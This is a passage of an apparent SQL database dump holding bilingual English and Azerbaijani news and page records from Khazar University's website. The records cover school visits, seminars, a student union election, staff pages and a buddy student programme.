title=\"International Baccalaureate Organization\">International Baccalaureate</a> Program\r\noffered at Dunya School and took the guests on a tour of the school. She also\r\ngave information about the upcoming events of the school and invited the guests\r\nto attend the events. </p>\r\n<p>Dr. Fadhil Awad\r\nAl-Shuwaili thanked the school representatives for the invitation and the tour\r\nand expressed his satisfaction with the school, its conditions, resources, and\r\nactivities. &nbsp;</p>'),(729,516,'az','İraq səfirliyinin nümayəndələri “Dünya” məktəbini ziyarət etdilər','2016-cı il martın 10-da İraq Respublikasının səfirliyinin müvəqqəti işlər vəkili Dr. Fazil Avvad Əşşüveyli Xəzər Universitetinin nəzdində fəaliyyət göstərən “Dünya” məktəbini ziyarət etdi. Səfər İraq səfirliyində bu ilin əvvəlində Xəzər Universitetinin Beynəlxalq Əlaqələr Şöbəsinin təşkilatçılığı ilə 2016-2017-ci tədris ili üçün qəbul planı çərçivəsində keçirilən görüşün davamı hesab olunur.','<p>2016-cı il martın 10-da İraq Respublikasının səfirliyinin\r\nmüvəqqəti işlər vəkili Dr. Fazil Avvad\r\nƏşşüveyli Xəzər Universitetinin nəzdində fəaliyyət\r\ngöstərən “Dünya” məktəbini ziyarət etdi. Səfər\r\nİraq səfirliyində bu ilin əvvəlində Xəzər Universitetinin Beynəlxalq Əlaqələr\r\nŞöbəsinin təşkilatçılığı ilə 2016-2017-ci tədris ili üçün qəbul planı çərçivəsində\r\nkeçirilən görüşün davamı hesab olunur. </p>\r\n<p>“Dünya” məktəbinin direktoru Mərufə Mədətli və IB\r\nProqramının koordinatoru Rəna Həsənova İraq Respublikasının səfirliyinin müvəqqəti\r\nişlər vəkili Dr. Fazil Avvad Əşşüveylini\r\nvə onun tərcüməçisi Nemət Ağalını qəbul etdilər.\r\n“Dünya” məktəbinin direktoru Mərufə Mədətli təhsil proqramları, dərslərin təşkili,\r\nməktəbdənkənar fəaliyyət və məktəbin resursları haqqında təqdimat verdi. Rəna Həsənova\r\n“Dünya” məktəbinin IB proqramı barədə məlumat verdi. O, həmçinin, &nbsp;məktəbin\r\nqarşıdan gələn tədbirləri haqqında məlumat verərək, qonaqları tədbirlərə dəvət\r\netdi. Qonaqlar üçün məktəb turu təşkil edildi.</p>\r\n<p>Dr. Fazil Avvad Əşşüveyli dəvətə və təşkil\r\nolunmuş tura görə məktəb nümayəndələrinə təşəkkür etdi, məktəb, onun strukturu,\r\nresursları və fəaliyyəti barəsində məmnuniyyətini dilə gətirdi.&nbsp;</p>'),(730,517,'en','Training Seminar to be held at Khazar','On March 16, 2016 at 10:00 AM in room 102N, a training seminar for Khazar University instructors will be held within the framework of the “Establishment of a Foundation for the Integration of Disabled People into HEIs of Azerbaijan” (ESFIDIP) TEMPUS project.','<p>On March 16, 2016 at 10:00 AM in room\r\n102N, a training seminar for Khazar University instructors will be held within\r\nthe framework of the “Establishment of a Foundation for the Integration of\r\nDisabled People into HEIs of Azerbaijan” (ESFIDIP) TEMPUS project. The main\r\nobjective of the seminar is to raise instructors’ awareness about disabilities,\r\ntheir characterizations, approaches to them, and related educational methods.\r\nThe training will be led by Melek Karimova, Assistant Dean of the School of\r\nHumanities and Social Sciences. </p>\r\n<p>During the training, information will also\r\nbe given about the newly-created Center for Students with Disabilities. </p>\r\n<p>All instructors are invited to participate\r\nin this training. </p>\r\n<p>&nbsp;</p>'),(731,517,'az','Xəzər Universitetində təlim-seminar keçiriləcək','2016-ci il martın 16-da 10:00-da Xəzər Universitetində (otaq 102N) təlim-seminar keçiriləcək. Təlim-seminarın “Əlilliyi olan şəxslərin Azərbaycanın ali təhsil müəssisələrinə inteqrasiyasının təməlinin qoyulması” (ESFIDIP) adlı Tempus layihəsi çərçivəsində Xəzər Universitetində dərs deyən müəllim heyəti üçün keçirilməsi nəzərdə tutulmuşdur.','<p>2016-ci il martın\r\n16-da<strong> </strong>10:00-da<strong> </strong>Xəzər Universitetində (otaq 102N)&nbsp;təlim-seminar\r\nkeçiriləcək. Təlim-seminarın “Əlilliyi olan şəxslərin Azərbaycanın ali təhsil\r\nmüəssisələrinə inteqrasiyasının təməlinin qoyulması” (ESFIDIP) adlı Tempus\r\nlayihəsi çərçivəsində Xəzər Universitetində dərs deyən müəllim heyəti üçün keçirilməsi\r\nnəzərdə tutulmuşdur. Təlim-seminarın əsas məqsədi əlilliyi olan tələbələrə dərs\r\ndeyən müəllimləri əlillik, onun xüsusiyyətləri, onlara yanaşma tərzi və tədris\r\nmetodikası haqqında maarifləndirməkdir. Təlimi Humanitar və Sosial elmlər fakülətisinin\r\ndekan müavini Mələk\r\nKərimova aparacaq.</p>\r\n<p>Tədbir zamanı\r\nlayihə və yeni yaradılmış “Əlilliyi olan Tələbələr üçün Mərkəz” haqqında məlumat\r\nveriləcəkdir. </p>\r\n<p>Təlim-seminarda iştirak etmək istəyən\r\nbütün müəllim heyəti dəvətlidir.</p>'),(732,518,'en','8 March- International Women’s Day Celebration at Dunya School ','On March 8th, a celebration of International Women’s Day took place at Khazar University’s affiliate Dunya School. The event included a concert program, dances, poems, and songs prepared by pupils and teachers of the school. The event was interesting for all who attended.','<p>On March 8<sup>th</sup>, a celebration of\r\nInternational Women’s Day took place at Khazar University’s affiliate Dunya\r\nSchool. The event included a concert program, dances, poems, and songs prepared\r\nby pupils and teachers of the school. The event was interesting for all who attended.\r\n</p>\r\n<p>A video from the event is available at the\r\nfollowing link: </p>\r\n<p><a href=\"https://www.youtube.com/watch?v=56ompGuB5c8&amp;feature=youtu.be\">https://www.youtube.com/watch?v=56ompGuB5c8&amp;feature=youtu.be</a>\r\n</p>\r\n<p>&nbsp;</p>'),(733,518,'az','“Dünya” məktəbində 8 Mart – Beynəlxalq Qadınlar Günü ilə əlaqədar bayram tədbiri keçirildi','“Dünya” məktəbində 8 Mart – Beynəlxalq Qadınlar Günü münasibətilə tədbir keçirildi.\r\nTədbirin proqramına şagird və müəllim kollektivinin hazırladığı konsert proqramı, rəqslər, şeirlər, mahnılar daxil edilmişdi.','<p>“Dünya” məktəbində\r\n8 Mart – Beynəlxalq Qadınlar Günü münasibətilə tədbir keçirildi.<br>\r\nTədbirin proqramına şagird və müəllim\r\nkollektivinin hazırladığı konsert proqramı, rəqslər, şeirlər, mahnılar daxil\r\nedilmişdi.</p>\r\n<p>Maraqlı və\r\nzəngin tədbir proqramı hər kəsin zövqünü oxşadı.</p>\r\nTədbirin\r\nvideoçarxını bu linkdə izləyə bilərsiniz:&nbsp; <a href=\"https://www.youtube.com/watch?v=56ompGuB5c8&amp;feature=youtu.be\">https://www.youtube.com/watch?v=56ompGuB5c8&amp;feature=youtu.be</a>'),(734,519,'az','Karneqi Tədqiqat Proqramı haqqında təqdimat oldu','2016-cı il martın 11-də Xəzər Universitetinin “Neftçilər”kampusunda Beynəlxalq Əlaqələr Şöbəsivə Beynəlxalq Təhsil üzrə Amerika Şurasının Azərbaycandakı ofisi Karneqi Tədqiqat Proqramı (Carnegie Research Fellowship Program) haqqında təqdimat keçirdi.','<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">2016-cı\r\nil martın 11-də Xəzər\r\nUniversitetinin “Neftçilər”kampusunda Beynəlxalq Əlaqələr Şöbəsivə Beynəlxalq Təhsil üzrə Amerika Şurasının Azərbaycandakı\r\nofisi Karneqi Tədqiqat Proqramı <em>(<em>Carnegie Research Fellowship Program</em>)</em>\r\nhaqqında təqdimat keçirdi.</p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">Avrasiya\r\nvə Şərqi Avropa üzrə Milli Araşdırmalar Şurası (ABŞ) və Beynəlxalq Təhsil üzrə\r\nAmerika Şurasının Avrasiya üzrə aparıcı mütəxəssisi Aleksey Xarlamov proqram,\r\nproqrama müraciət proseduru və maliyyə dəstəyi haqqında detallı məlumat verdi. </p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">Karneqi\r\nTədqiqat Proqramı Avrasiya və Şərqi Avropa üzrə Milli Araşdırmalar Şurası (ABŞ)\r\nvə Beynəlxalq Təhsil üzrə Amerika Şurasının proqramıdır. Proqram universitet müəllim\r\nheyəti, tədqiqatçılar, magistr və doktorant tələbələr üçün ABŞ-da sosial və\r\nhumanitar elmlər sahəsində tədqiqat aparmaq imkanını verir. Proqramı Nyu Yorkun\r\nKarneqi Korporasiyasının qrantı dəstəkləyir.</p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">Təqdimatın\r\nsonunda iştirakçıları maraqlandıran suallar cavablandırıldı.&nbsp;</p>'),(735,519,'en','Presentation on Carnegie Research Fellowship Program','On March 11, 2016, the International Affairs Office organized a presentation about the Carnegie Research Fellowship Program in collaboration with American Councils for International Education in Azerbaijan. The presentation took place on the Nefcthilar campus of Khazar University.','<p>On March 11, 2016, the International\r\nAffairs Office organized a presentation about the Carnegie Research\r\nFellowship Program in collaboration with American Councils for International\r\nEducation in Azerbaijan. The presentation took place on the Nefcthilar campus\r\nof Khazar University. </p>\r\n<p>Alexey Kharlamov\r\n(Senior Program Officer for Eurasia at National Council for Eurasian and East\r\nEuropean Research (USA) and American Councils for International Education)\r\nprovided detailed information about the program, application procedure, and\r\nfinancial provisions. </p>\r\n<p>Carnegie Research\r\nFellowship Program is a program of the National Council for Eurasian and East\r\nEuropean Research (NCEEER) in conjunction with the American Councils for\r\nInternational Education: ACTR/ACCELS and is supported by a grant from the\r\nCarnegie Corporation of New York. The program provides opportunities for\r\nuniversity faculty, researchers, advanced graduate students, and scholars in\r\nsocial sciences and humanities to conduct research in the USA.</p>\r\n<p>The presentation\r\nended with a question and answer session. </p>\r\n<p>&nbsp;</p>'),(736,520,'az','Tələbə Məclisinə president seçildi','2016-ci il martın 10-da Xəzər Universitetinin Tələbə Məclisinə prezident seçkiləri keçirildi. Namizədlər arasında Humanitar və sosial elmlər faküləsinin tələbəsi Xədicə İsmailova (3-cü kurs), Təhsil fakültəsinin təbələsi Türkan Səmədova (3-cü kurs), İqtisadiyyat və menecment fakültəsinin tələbəsi Özal Sülüymanlı (3-cü kurs) və Mühəndislik və tətbiqi elmlər fakültəsinin tələbəsi Qurban Əsgərov (2-ci kurs) iştirak edirdilər. Qeyd edək ki namizədlərin hər biri Tələbə Məclisi Parlamentinin sabiq üzvləridir.','<p>2016-ci il martın 10-da Xəzər\r\nUniversitetinin Tələbə Məclisinə prezident seçkiləri keçirildi. Namizədlər\r\narasında Humanitar və sosial elmlər faküləsinin\r\ntələbəsi Xədicə İsmailova (3-cü kurs), Təhsil fakültəsinin təbələsi Türkan Səmədova\r\n(3-cü kurs), İqtisadiyyat və menecment fakültəsinin tələbəsi Özal Sülüymanlı\r\n(3-cü kurs) və Mühəndislik və tətbiqi elmlər fakültəsinin tələbəsi Qurban Əsgərov\r\n(2-ci kurs) iştirak edirdilər. Qeyd edək ki namizədlərin hər biri Tələbə Məclisi\r\nParlamentinin sabiq üzvləridir.</p>\r\n<p>Seçki prosesi səhər saat 10.00-dan 19.00-dək İctimai Əlaqələr və\r\nMedia üzrə direktor Əlövsət Əmirbəylinin rəhbərliyi və Tələbə Məclisinin sabiq\r\nprezidenti Mirzəağa Səmədovun nəzarəti ilə keçirildi.</p>\r\n<p>Seçkilərdə Xəzər Universitetinin ümumi seçici sayının 29%-i (525 nəfər)\r\niştirak etdilər və ümumi səsverməyə əsasən nəticələr belə oldu:</p>\r\n<p>1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Qurban Əsgərov (Mühəndislik və tətbiqi elmlər\r\nfakültəsi) – 242 səs;</p>\r\n<p>2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Özal Suleymanlı (İqtisadiyyat və menecment fakültəsi)\r\n– 110 səs;</p>\r\n<p>3.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Türkan Səmədova (Təhsil fakültəsi) – 93 səs;</p>\r\n<p>4.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Xədicə İsmailova (Humanitar və sosial elmlər faküləsi)–\r\n76 səs.</p>\r\n<p>Beləliklə, Tələbə Məclisinin növbəti bir ildəki&nbsp;\r\nprezidenti Qurban Əsgərov və vitse-prezident Özal Süleymanlı seçildilər.</p>\r\n<p>&nbsp;</p>'),(737,520,'en','Student Union President Elected','On March 10, 2016, the Khazar University Student Union held presidential elections. Candidates included Khadija Ismayilova (3rd-year student of the School of Humanities and Social Sciences), Turkan Samadova (3rd-year student of the School of Education), Ozal Suleymanli (3rd-year student of the School of Economics and Management) and Gurban Asgarov (2nd-year student of the School of Engineering and Applied Sciences). All of the candidates are active members of the Student Union Parliament.','<p>On March 10, 2016, the Khazar University\r\nStudent Union held presidential elections. Candidates included Khadija\r\nIsmayilova (3rd-year student of the School of Humanities and Social Sciences),\r\nTurkan Samadova (3rd-year student of the School of Education), Ozal Suleymanli\r\n(3rd-year student of the School of Economics and Management) and Gurban Asgarov\r\n(2nd-year student of the School of Engineering and Applied Sciences). All of\r\nthe candidates are active members of the Student Union Parliament. </p>\r\n<p>The election took place from 10:00 AM to\r\n19:00 PM under the leadership of Alovsat Amirbeyli, Director for Public\r\nRelations and Media and under the supervision of Mirzeagha Samadov, former\r\nStudent Union President. </p>\r\n<p>29% of the student body (525 people) voted\r\nin the election. The general results are as follows: </p>\r\n<p>1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nGurban\r\nAsgarov (School of Engineering and Applied Sciences)- 242 votes; </p>\r\n<p>2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nOzal\r\nSuleymanli (School of Economics and Management)- 110 votes; </p>\r\n<p>3.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nTurkan\r\nSamadova (School of Education)- 93 votes; </p>\r\n<p>4.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nKhadija\r\nIsmayilova (School of Humanities and Social Sciences)- 76 votes. </p>\r\n<p>Thus,\r\nGurban Asgarov was elected as the new president of the Student Union, and Ozal\r\nSuleymanli was elected as the vice president. </p>\r\n<p>&nbsp;</p>\r\n<p>&nbsp;</p>'),(738,521,'en','Meet Our Team','Meet Our Team','<p><strong><a href=\"http://www.khazar.org/files/pdf/Turan_Jafarova%20cv.pdf\">Turan Jafarova</a></strong><strong><img src=\"/files/turan%20ceferova.JPG\" style=\"width:150px;height:187px;margin:7px;float:left\"></strong></p><p><strong>Director</strong><br></p><p><br></p>\r\n<p><br></p><p><br></p><p><br></p><p><br></p><p></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p></p><p><img src=\"/files/gunay.JPG\" style=\"border:0px  #000000;width:150px;height:185px;margin-right:7px;margin-bottom:7px;margin-left:7px;float:left\"><strong><a href=\"http://www.khazar.org/files/pdf/Gunay_Farzaliyeva-cv.pdf\">Gunay Farzaliyeva</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/pdf/Gunay%20Farzaliyeva%20cv.pdf\"></a>Coordinator</strong></p><p><br></p>  <p><br></p><p><br></p><p><br></p>'),(739,521,'az','Bizim heyət','Bizim heyət','<p><img src=\"/files/turan%20ceferova.JPG\" style=\"width:150px;height:187px;margin:7px;float:left\"><strong><a href=\"http://www.khazar.org/files/pdf/Turan_Jafarova%20cv.pdf\">Turan Cəfərova</a></strong></p><p>Beynəlxalq əlaqələr ofisinin direktoru</p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p></p><p><img src=\"/files/gunay.JPG\" style=\"width:150px;height:185px;margin:7px;float:left\"><strong><a href=\"http://www.khazar.org/files/pdf/Gunay_Farzaliyeva-cv.pdf\">Günay Fərzəliyeva</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/pdf/Gunay%20Farzaliyeva%20cv.pdf\"></a></strong>Koordinator</p><p><br></p><p><br></p><p><br></p><p><br></p>'),(740,522,'az',' Haqqımızda',' Haqqımızda','<p style=\"font-size:medium;font-family:arial, helvetica, sans-serif\"><br></p><p><strong>Beynəlxalq Əlaqələr Ofisinə Xoş Gəlmişsiniz!</strong></p><p>Xəzər Universitəsinin Beynəlxalq Əlaqələr Ofisinin missiyası Universitəsinin beynəlxalq əlaqələrini koordinasiya etmək və inkişaf etdirməkdən ibarətdir.</p><p>Beynəlxalq Əlaqələr Ofisi tələbə qəbulu prosesi daxil olmaqla universitetin ümumi beynəlxalq strategiyasında, &nbsp;tələbə mübadiləsində və &nbsp;universitetlərlə eləcə də beynəlxalq təşkilatlarla əməkdaşlıq məsələlərində əsas rol oynayır. Beynəlxalq Əlaqələr Ofisi həmçinin beynəlxalq tələbələrə və mütəxəssislərə müvafiq olaraq məsləhət &nbsp;verir və kömək göstərir.</p><p>Bizim əsas rolumuz bu və digər vəzifələrdən ibarətdir:</p><ul><li>Beynəlxalq əməkdaşlıq və tərəfdaşlıq sazişlərinə təşəbbüs göstərilməsi və idarə olunması;</li><li>Universiteti bir sıra beynəlxalq və yerli konfranslarda eləcə də müxtəlif tədbirlərdə təmsil etmək;</li><li>Erasmus Mundus, Mevlana kimi mübadilə proqramlarını koordinasiya etmək;</li><li>Universitetlərarası tələbə mübadiləsini koordinasiya etmək;</li><li>Beynəlxalq tələbələrə, mütəxəsislərə və qonaqlara müvafiq xidmət göstərmək;</li><li>Beynəlxalq tələbələrin Azərbaycanda statuslarının legallaşdırılmasına kömək göstərmək;</li></ul><p>Beynəlxalq Əlaqələr Ofisi təhsil, tədqiqat, təlim və s. məqsədilə universiteti ziyarət edən əcnəbilərə tam mənada köməklik göstərir. Bu sahəyə daxildir:</p><ul><li>Viza məktublarının təmin olunması</li><li>Gəlişin planlaşdırılması</li><li>Yaşayış yeri ilə bağlı məlumatlandırma</li><li>Migrasiya məsləhətləri</li><li>Uyğunlaşma proqramları</li><li>Əsaslı səbəbdən elmi müddətin uzadılması</li><li>Fövqəlada hallarda və ya gözlənilməz migrasiya probremləri zamanı məsləhətləşmə.</li></ul><p>Əgər sən qeyd olunan məsələlərdə maraqlı olan beynəlxalq tələbəsənsə:</p><ul><li>Xəzər Universitəsində tam elmi dərəcə üzrə təhsil almaq</li><li>Xəzər Universitəsində mübadilə proqramı cərçivəsində təhsil almaq</li><li>Ən azı bir semestr xaricdə təhsil</li></ul><p>Biz sənin üçün daha &nbsp;maraqlı məqamları kəşf etməkdə uyğun məkanıq.</p><p>Beynəlxalq müraciətlər və &nbsp;mübadilə tələbələri haqqında &nbsp;ətraflı məlumat əldə etmək üçün internet səhifəmizə və ya birbaşa bizə müracət edə bilərsiniz .</p><p><a href=\"http://www.khazar.org/az/menus/491/ikili_muqavile_esasinda_telebe_mubadilesi\">Mübadilə tələbələri</a>&nbsp;</p><p><a href=\"http://www.khazar.org/az/menus/505/_bizimle_elaqe\">Bizə müraciət</a></p>'),(2710,1621,'en','Khazar University Department Chair Gives Seminar in Montpellier University','On November 29, 2016, Dr. Irada Khalilova, Head of the Biology Department and Director of the Cell Pathology Research Center at Khazar University, gave a lecture...','<p>On\r\nNovember 29, 2016, Dr. Irada Khalilova, Head of the Biology Department and\r\nDirector of the Cell Pathology Research Center at Khazar University, gave a\r\nlecture on “Oxidative stress biomarker research for early disease diagnostics”\r\nfor staff members and researchers of the Research Laboratory of Biology, Health\r\nand Nanoscience within the Faculty of Odontology at Montpellier University in\r\nFrance as part of a Erasmus + mobility grant. Participants in the seminar\r\nincluded Dr. Veronique Véronique Barragan-Montero, Dr. Pierre-Yves\r\nCollart-Dutilleul, Dr. Hamideh Salehi and others. The seminar was concluded\r\nwith interesting discussions. After the seminar, plans were made to establish\r\npartnership between the two universities and specifically to send samples to\r\nthe Khazar University research laboratory for in vitro analysis of\r\nanti-inflammatory active components that were studied in the Faculty of\r\nOdontology Laboratory.&nbsp;</p>'),(741,522,'en','About us','About us','<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\"><strong><br></strong></p><p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\"><strong>Welcome to the\r\nInternational Affairs Office!</strong></p><p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">The mission of the International Affairs Office is to\r\ncoordinate, encourage and contribute to the internationalization of the Khazar\r\nUniversity.</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">The International Affairs Office of Khazar University is\r\nresponsible for the university’s overall international strategy, including\r\nrecruitment, student exchange and cooperation with universities and other\r\norganizations. The International Affairs Office also provides guidance and\r\nadvising services to international students and scholars of Khazar University.</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">Our key roles include\r\nbut are not limited to:</p><ul><li>Initiating and managing\r\ninternational cooperation agreements and partnerships</li><li>Representing the\r\nuniversity at local and international conferences, fairs and other events</li><li>Coordinating the\r\nexchange programs, e.g. Erasmus Plus, Mevlana</li><li>Coordinating individual\r\ninter-university student exchanges</li><li>Providing support\r\nservices for international students, academic staff and visitors</li><li>Assisting international\r\nstudents in maintaining their legal status in Azerbaijan, providing support to\r\ntheir dependents</li></ul>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">International Affairs Office provides full support for the\r\ninternationals visiting University for study, research, teaching or other purposes.\r\nSupport services include visa registration, arrival arrangements, housing\r\ninformation, immigration advising, orientation programs, extension of academic\r\nstays for valid reasons, counseling related to emergencies and unexpected\r\nimmigration problems.</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">If you are an\r\ninternational candidate interested in:</p><ul><li>studying in a full\r\ndegree program at Khazar University</li><li>studying at Khazar\r\nUniversity within an exchange program</li><li>spending a semester\r\nabroad</li></ul>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">We are the right place\r\nfor you to start finding out more.</p><p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">Check out our web page for\r\nmore information for international applicants and for&nbsp;<span style=\"font-family:arial, helvetica, sans-serif\">&nbsp;</span><strong style=\"font-family:arial, helvetica, sans-serif\"><a href=\"http://www.khazar.org/en/menus/491/_exchanges_under_bilateral_agreements\">exchange students</a></strong><span style=\"font-family:arial, helvetica, sans-serif\">&nbsp;or&nbsp;</span><strong style=\"font-family:arial, helvetica, sans-serif\"><a href=\"http://www.khazar.org/en/menus/505/contact_us\">contact us</a></strong><span style=\"font-family:arial, helvetica, sans-serif\">   directly if you have questions or need assistance.</span></p>'),(2705,1619,'az','“Elm şənliyində” yarışacaq tələbə komandalarının tanışlıq mərhələsi gerçəkləşdi','2016-cı il noyabrın 28-də Azərbaycan Respublikası Prezidenti yanında Gənclər Fondunun maliyyələşdirdiyi və Xəzər Universitetinin tərədaşlıq etdiyi “Elm şənliyi” layihəsinin AMEA...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:14.4pt;background:white\"\"=\"\">2016-cı il noyabrın 28-də Azərbaycan\r\nRespublikası Prezidenti yanında Gənclər Fondunun maliyyələşdirdiyi və Xəzər\r\nUniversitetinin tərədaşlıq etdiyi “Elm şənliyi” layihəsinin AMEA Arxeologiya və\r\nEtnoqrafiya İnstitutunun Elmi ekspozisiyası şöbəsinin İçərişəhərdəki\r\nArxeologiya muzeyində ilk tədbiri keçirilmişdir. Bu tədbir, “Elm Şənliyi”\r\nlayihəsi üzrə nəzərdə tutulmuş elmi-populyar müsabiqənin müxtəlif ali təhsil\r\nməktəblərinin tələbələrindən təşkil edilən yarış komandaları ilə ilkin tanışlıq\r\nməqsədilə həyata keçirilmişdi. Tədbrin açılışında layihə rəhbəri AMEA\r\nArxeologiya və Etnoqrafiya İnstitutunun əməkdaşı Orxan Zamanov layihə haqqında\r\nqısa məlumat verdikdən sonra sözü layihənin koordinatoru olan arxeoloq Pərviz\r\nQasımova verdi.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:14.4pt;background:white\"\"=\"\">AMEA\r\nArxeologiya və Etnoqrafiya İnstitutunun əməkdaşı Pərviz Qasımov əvvəlcə layihənin\r\nəsas məqsədi haqqında iştirakçıları məlumatlandırdı. Daha sonra Pərviz Qasımov\r\niştirakçıları Arxeologiya muzeyindəki Azərbaycan arxeoloji irsini əks etdirən\r\neksponatlarla tanış etdi. P.Qasımov ekskursiya əsnasında iştirakçılara bir çox\r\nyeni məlumatlar verdi; bu məlumatlar sırasına arxeoloji materialların\r\nAzərbaycan xalqının qədimliyinin öyrənilməsində rolu, arxeoloji yeni tədqiqat,\r\ndövrləşdirmə, analiz metodları və s. daxildir.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:14.4pt;background:white\"\"=\"\">Muzeylə\r\ntanışlıqdan sonra içtirakçılara “Elm Şənliyi” layihəsinin yarımfinal və final\r\nmərhələsi haqqında məlumatlar verildi. Bundan sonra tədbir iştirakçıları xatırə\r\nşəkli çəkdirdilər.</p>'),(742,523,'az','Dost Tələbə Proqramı','Dost Tələbə Proqramı','<p><br></p><p><strong><strong>Dost Tələbə Proqramı vasitəsi ilə yeni mədəniyyətləri&nbsp;</strong><strong>öyrən və yeni dostlar</strong><strong>la tanış ol!</strong>&nbsp;  <br></strong></p><div><strong><br></strong></div><div><strong><a href=\"/files/14_12_09_International_students%201.JPG\"><img src=\"/files/14_12_09_International_students%201.JPG\" style=\"width:200px;height:150px;margin:7px;float:left\"></a></strong></div><div><strong> &nbsp; &nbsp;<a href=\"/files/14_12_09_int.jpg\"><img src=\"/files/14_12_09_int.jpg\" style=\"width:200px;height:150px;margin:7px;vertical-align:top\"></a>&nbsp; &nbsp; &nbsp; &nbsp;<a href=\"/files/14_12_09_m.jpg\"><img src=\"/files/14_12_09_m.jpg\" style=\"width:200px;height:150px;margin:7px;float:left\"></a></strong></div><div><strong><strong><br></strong></strong></div><p><strong><strong><strong>Əgər sən:</strong></strong></strong></p><ul><li>Müxtəlif mədəniyyətlər haqqında öyrənmək</li><li>Müxtəlif ölkələrdən olan insanlarla tanış olmaq</li><li>Beynəlxalq konfranslarda iştirak etmək</li><li>İngilis dilini mükəmməlləşdirmək</li><li>Azərbaycan mədəniyyətini və tələbə hayatını beynəlxalq tələbələrlə paylaşmaq</li></ul><p class=\"<img src=\" http:=\"\" www.khazar.org=\"\" tmp=\"\" mfe=\"\" assets=\"\" 351bd86c=\"\" elrte=\"\" images=\"\" pixel.gif\"=\"\" title=\"/files/14_12_09_m.jpg\" rel=\"media8418172092687739\" width=\"150\" height=\"100\"><strong>&nbsp;İstəyirsənsə o zaman&nbsp; bizim&nbsp;Dost Tələbə Proqramı&nbsp;məhz Sizin üçündür!</strong></p><p class=\"<img src=\" http:=\"\" www.khazar.org=\"\" tmp=\"\" mfe=\"\" assets=\"\" 351bd86c=\"\" elrte=\"\" images=\"\" pixel.gif\"=\"\" title=\"/files/14_12_09_m.jpg\" rel=\"media8418172092687739\" width=\"150\" height=\"100\">Xəzər Universitetinin Beynəlxalq Əlaqələr Ofisi aşağıdakı bacarıq və qabiliyyətlərə cavab verən tələbələrin axtarışındadır:</p><ul><li class=\"<img src=\" http:=\"\" www.khazar.org=\"\" tmp=\"\" mfe=\"\" assets=\"\" 351bd86c=\"\" elrte=\"\" images=\"\" pixel.gif\"=\"\" title=\"/files/14_12_09_m.jpg\" rel=\"media971740319656484\" width=\"150\" height=\"100\">Çalışqan ,savadlı və ünsiyyətcil</li><li class=\"<img src=\" http:=\"\" www.khazar.org=\"\" tmp=\"\" mfe=\"\" assets=\"\" 351bd86c=\"\" elrte=\"\" images=\"\" pixel.gif\"=\"\" title=\"/files/14_12_09_m.jpg\" rel=\"media5855834853380677\" width=\"150\" height=\"100\">Gələcək hədəfləri olan</li><li class=\"<img src=\" http:=\"\" www.khazar.org=\"\" tmp=\"\" mfe=\"\" assets=\"\" 351bd86c=\"\" elrte=\"\" images=\"\" pixel.gif\"=\"\" title=\"/files/14_12_09_m.jpg\" rel=\"media560430848342858\" width=\"150\" height=\"100\">İngilis dilində danışa bilən</li><li class=\"<img src=\" http:=\"\" www.khazar.org=\"\" tmp=\"\" mfe=\"\" assets=\"\" 351bd86c=\"\" elrte=\"\" images=\"\" pixel.gif\"=\"\" title=\"/files/14_12_09_m.jpg\" rel=\"media047714907291551256\" width=\"150\" height=\"100\">Dərslərində yaxşı nəticələr göstərən</li></ul><p class=\"undefined\" style=\"font-weight:normal\">&nbsp;Tələbələr Beynəlxalq Əlaqələr Ofisinə aşagıdakı hallarda kömək edəcəklər:</p><ul style=\"font-weight:bold\"><li class=\"undefined\" style=\"font-weight:normal\">Beynəlxalq tələbələrin və xarici qonqaların yerləşdirilmək</li><li class=\"undefined\" style=\"font-weight:normal\">Beynəlxalq tələbələrin Azərbaycan təhsilin və həyatını başa düşüb uyğunlaşmasına dəstək olmaq</li><li class=\"undefined\" style=\"font-weight:normal\">Müxtəlif ictimai tədbirləri&nbsp; təşkil etmək</li><li class=\"undefined\" style=\"font-weight:normal\">Digər işlərdə köməklik göstərmək</li></ul><p class=\"undefined\">&nbsp;Əgər sən&nbsp;Dost Tələbə Proqramı-nda iştirak etmək istəyirsənsə öz <strong>CV</strong> ni və <strong>motivasiya məktubu</strong>nu bizə göndərə və 